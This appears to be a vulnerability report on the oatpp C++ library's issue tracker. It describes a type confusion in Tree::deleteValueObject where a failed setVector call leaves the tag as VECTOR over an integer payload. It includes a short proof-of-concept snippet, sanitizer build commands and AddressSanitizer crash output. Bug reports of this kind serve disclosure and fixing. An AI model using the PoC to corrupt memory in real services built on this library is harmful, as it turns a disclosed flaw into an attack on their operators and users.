#1105·oatpp

在 'Tree::deleteValueObject' 中出现类型混淆

作者: 2rr0r4o3创建于 2026年8月24日更新于 2026年8月24日

Tree t; t.setPrimitive<v_uint64>(0x4142434445464748ULL); // an ordinary integer t.setVector(0xFFFFFFFFFFFFFFFFULL); // tag -> VECTOR, then length_error // ~Tree -> deleteValueObject() -> delete (std::vector)0x4142434445464748 Build and run: clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I/src
poc_Tree_deleteValueObject.cpp liboatpp.a -lpthread -o poc_Tree_deleteValueObject ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=1 ./poc_Tree_deleteValueObject ASAN output : [
] before: type=12 (UINT_64=12) [*] caught: cannot create std::vector larger than max_size() [!] after : type=16 (VECTOR=16) <-- tag moved, payload did not [!] isVector()=1 -> every getVector() now returns (vector)0x4142434445464748 ==...==ERROR: AddressSanitizer: SEGV [...] #1 in oatpp::data::mapping::Tree::deleteValueObject() src/oatpp/data/mapping/Tree.cpp:231:7 #2 in oatpp::data::mapping::Tree::~Tree()